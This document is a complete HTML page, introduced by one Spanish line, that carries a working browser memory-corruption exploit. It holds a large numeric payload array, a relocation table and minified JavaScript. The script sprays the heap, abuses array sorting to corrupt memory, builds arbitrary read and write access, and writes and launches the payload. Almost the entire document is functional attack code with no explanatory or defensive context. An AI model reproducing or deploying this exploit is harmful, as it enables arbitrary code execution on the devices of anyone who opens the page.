Este es el contenido del exploit.html
<html><body><script>
payload = [2119192402,65537,0,0,1492,0,0,0,1920,0,787595,0,2840,0,56,0,0,4294967295,0,0,4294967295,0,0,4294967295,0,0,4294967295,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4294967295,0,0,0,0,0,4294967295,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3306611,0,0,0,0,1953458288,1748643951,1634430565,1647211883,28265,9316293,100,1008,17869,84601,0,787595,787595,9296309,1452,21704,268435712,6291456,44233,0,785297,0,0,0,787595,8999557,4,1077189,84601,0,787595,9316293,124,52,1077189,84601,0,787595,787595,9335877,4,52,431537,42897,1035707,0,787595,9335877,104,4096,431537,1247765,1035707,0,787595,8999557,28,1077189,84601,0,787595,9296309,1464,203477088,1048576,0,246700,0,1035707,0,787595,8999557,1380,1077189,84601,0,787595,9335877,1380,1392,431537,246684,1035707,0,787595,9316293,1472,1,42157,84601,0,787595,787595,8999557,1344,1077189,84601,0,787595,8932229,1048576,9597461,1392,432379,0,9597461,1344,431537,27292,1035707,0,787595,787595,9597461,1344,431537,27148,1035707,0,787595,787595,9316293,0,1272,1077189,84601,0,787595,787595,9335877,28,52784,431537,1247765,1035707,0,787595,8999557,1276,1077189,84601,0,787595,9316293,0,1280,1077189,84601,0,787595,787595,9316293,0,1284,1077189,84601,0,787595,787595,9316293,0,1288,1077189,84601,0,787595,787595,9316293,0,1292,1077189,84601,0,787595,787595,9316293,0,1296,1077189,84601,0,787595,787595,9316293,0,1300,1077189,84601,0,787595,787595,9597461,1356,431537,0,8876597,91700,291,1549187,1035707,0,8876597,1392,963797,0,0,0,0,787595,6366033,291,1549187,1035707,0,1226183,0,4531149,0,8876597,1272,291,1549187,1035707,0,431537,0,8876597,1368,1399067,0,9597461,1356,431537,0,4531149,0,8876597,1392,963797,0,0,0,0,787595,6366033,291,1549187,1035707,0,431537,0,8876597,1368,963797,0,0,0,0,787595,6366033,291,1549187,1035707,0,8876597,1368,1399067,0,9597461,1356,431537,0,4531149,0,8876597,1392,963797,0,0,0,0,787595,6366033,291,1549187,1035707,0,8876597,1368,963797,0,0,0,0,787595,6366033,114011,0,8876597,1,9597461,1356,431537,0,291,1549187,1035707,0,8876597,1356,1399067,0,9597461,1356,431537,22925,8653693,0,0,0,8876597,4294967295,291,1549187,1035707,0,8876597,692,291,6585653,1035707,0,8876597,1368,1399067,0,8932229,787595,2090555,8876597,1368,963797,0,0,0,0,787595,6366033,291,1549187,1035707,0,8876597,100,291,1549187,1035707,0,291,2057,1035707,0,4369,787595,787595,9335877,1392,38916,431537,1247765,1035707,0,787595,8999557,1404,1077189,84601,0,787595,8932229,52784,9597461,1404,432379,0,9597461,28,431537,81665,1035707,0,787595,787595,9335877,1392,64,431537,1247765,1035707,0,787595,8999557,1416,1077189,84601,0,787595,9335877,28,52784,431537,1247765,1035707,0,787595,8999557,1428,1077189,84601,0,787595,8932229,38852,9597461,1416,432379,0,9597461,1428,431537,81665,1035707,0,787595,787595,9597461,28,431537,652819,1035707,0,787595,787595,9335877,28,992,431537,1077189,1035707,0,787595,9316293,787595,996,1077189,84601,0,787595,787595,9316293,4,28,972,431537,42889,1035707,0,787595,787595,9316293,4,0,0,431537,5885,1035707,0,787595,787595,9550269,0,1305,1035707,0,787595];
relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,1,7,2,0,2,2,2,1,2,0,0,3,0,2,0,0,0,2,2,1,2,2,0,2,2,0,1,2,2,0,2,2,2,1,1,2,3,2,0,2,2,1,0,2,2,2,0,2,2,1,2,2,0,2,2,1,0,0,0,4,0,2,0,2,2,1,2,2,0,2,2,1,1,2,4,2,0,2,2,1,0,3,2,0,2,2,2,1,2,2,0,2,2,0,2,1,2,0,2,1,2,3,2,0,2,2,2,1,2,3,2,0,2,2,2,0,1,2,2,0,2,2,2,1,0,2,2,2,0,2,2,1,2,2,0,2,2,2,1,2,2,0,2,2,2,3,1,2,2,0,2,2,2,4,1,2,2,0,2,2,2,5,1,2,2,0,2,2,2,6,1,2,2,0,2,2,2,7,1,2,2,0,2,2,2,1,2,0,2,0,2,2,2,0,2,1,2,0,0,0,0,2,2,2,2,2,0,2,0,2,0,2,1,2,2,2,0,2,0,2,1,2,0,2,1,2,0,2,0,2,1,2,0,0,0,0,2,2,2,2,2,0,2,0,2,1,2,0,0,0,0,2,2,2,2,2,0,2,1,2,0,2,1,2,0,2,0,2,1,2,0,0,0,0,2,2,2,2,2,0,2,1,2,0,0,0,0,2,2,2,0,2,0,2,1,2,0,2,2,2,0,2,1,2,0,2,1,2,0,2,0,0,0,2,0,2,2,2,0,2,0,2,2,2,0,2,1,2,0,2,2,2,2,1,2,0,0,0,0,2,2,2,2,2,0,2,0,2,2,2,0,2,3,2,0,3,2,2,2,1,0,2,2,2,0,2,2,1,2,2,0,2,2,0,2,1,2,0,2,1,2,4,2,0,2,2,2,1,0,2,2,2,0,2,2,1,2,2,0,2,2,1,0,2,2,2,0,2,2,1,2,2,0,2,2,0,2,1,2,0,2,1,2,4,2,0,2,2,2,1,2,2,2,0,2,2,2,1,1,2,2,2,0,2,2,2,1,2,2,0,2,2,2,1,0,1,2,3,2,0,2,2,2,1,0,0,2,3,2,0,2,2,2,0,2,2,0,2];
var r,a,e,t,n,l,o,i,f,v,s,c;var u,y,w,p,d,g,h,b,k;var A,U;var F=64+payload[16/4];F/=4;var m=null;function D(r,a){if(!m)m=new DataView(new ArrayBuffer(16));m.setUint32(0,a);m.setUint32(4,r);return m.getFloat64(0)}function x(r){if(!m)m=new DataView(new ArrayBuffer(16));m.setFloat64(0,r);return{low:m.getUint32(4),hi:m.getUint32(0)}}var E=0;var L=0;var B=new Uint32Array(1024);function S(r){E=N[r/4];L=N[r/4+1];return((E&4095|(E&983040)>>4)&65535|((L&4095|(L&983040)>>4)&65535)<<16)>>>0}r=16384;a=new Array(r);e=new Array(r);t=4932;n=1717920867;l=1431655765;for(var V=0;V<e.length;++V){e[V]=new Uint32Array(t/4);var j=document.createElement("textarea");j.rows=n;a[V]=j}for(var V=0;V<1024;++V){var j=document.createElement("textarea");j.rows=n;a.push(j)}var q=12288;var z=Array.prototype.constructor.apply(null,new Array(q));var C=2048;var G=new Array(C);var H={};var I=new Array(256);H.toString=function(){z.push(12345);for(var r=0;r<I.length;++r){var a=Array.prototype.constructor.apply(null,G);a[0]=0;a[1]=1;a[2]=2;I[r]=a}return""};z[0]=H;var J=D(2147483648,2147483648);for(var V=1;V<8192;++V)z[V]=J;z.sort();contents="";cur=0;H.toString=function(){};var K=null;for(var V=0;V<I.length;++V){if(I[V].length!=C){K=I[V];break}}if(K==null){alert("restart the browser");while(1){}}var M=536870912-69632;for(;;M--){if(K[M]!=0){m.setFloat64(0,K[M]);if(m.getUint32(0)==t/4){m.setUint32(0,4026531808);K[M]=m.getFloat64(0);m.setFloat64(0,K[M-2]);v=m.getUint32(4);m.setUint32(4,0);m.setUint32(0,2147483648);K[M-2]=m.getFloat64(0);break}}}o=null;for(var V=0;V<e.length;++V){if(e[V].byteLength!=t){o=e[V];break}}if(!o){alert("failed");while(1){}}var N=o;var O=v;f=v;for(var P=f/4;P<f/4+16384;++P){if(N[P]==n){N[P]=l;s=P*4;i=true;break}}if(!i){alert("Did not find Element signature");while(1){}}var Q=false;var R;for(var V=0;V<a.length;++V){if(a[V].rows==l){R=a[V];Q=true;break}}if(!Q){alert("Did not find corrupted textarea");while(1){}}var T=s-112;var W=N[T/4];u=W-11253340;y=S(u+8779012)-64073;w=S(u+8778852)-36913;p=S(u+8770276)-142693;d=S(p+2910348)-2533;g=S(d+15300)-56365;h=S(u+8778772)-9197;b=S(g+101364)-3417;k=S(b+39608)-18893;for(var V=0;V<64;V++)N[O/4+V]=N[W/4+V];N[T/4]=O;for(var V=0;V<48;++V)B[V]=N[T/4+V];N[O/4+78]=y+82032|1;R.scrollLeft=0;c=(N[T/4+8]^(N[T/4+9]^u+3242281)>>>0)>>>0;c-=981016;for(var V=0;V<48;++V)N[T/4+V]=B[V];A=c+64;U=c+65536;P=c/4;for(var V=0;V<payload.length;++V,++P){if(V==F)P=U/4;switch(relocs[V]){case 0:N[P]=payload[V];break;case 1:N[P]=payload[V]+A;break;case 2:N[P]=payload[V]+u;break;case 3:N[P]=payload[V]+w;break;case 4:N[P]=payload[V]+y;break;case 5:N[P]=payload[V]+g;break;case 6:N[P]=payload[V]+h;break;case 7:N[P]=payload[V]+k;break;default:alert("wtf?");alert(V+" "+relocs[V])}}N[O/4+78]=u+21704;var X=O+256;N[X/4+5]=U;N[X/4+6]=u+787594|1;R.scrollLeft=X;alert("that's it");
</script></body></html>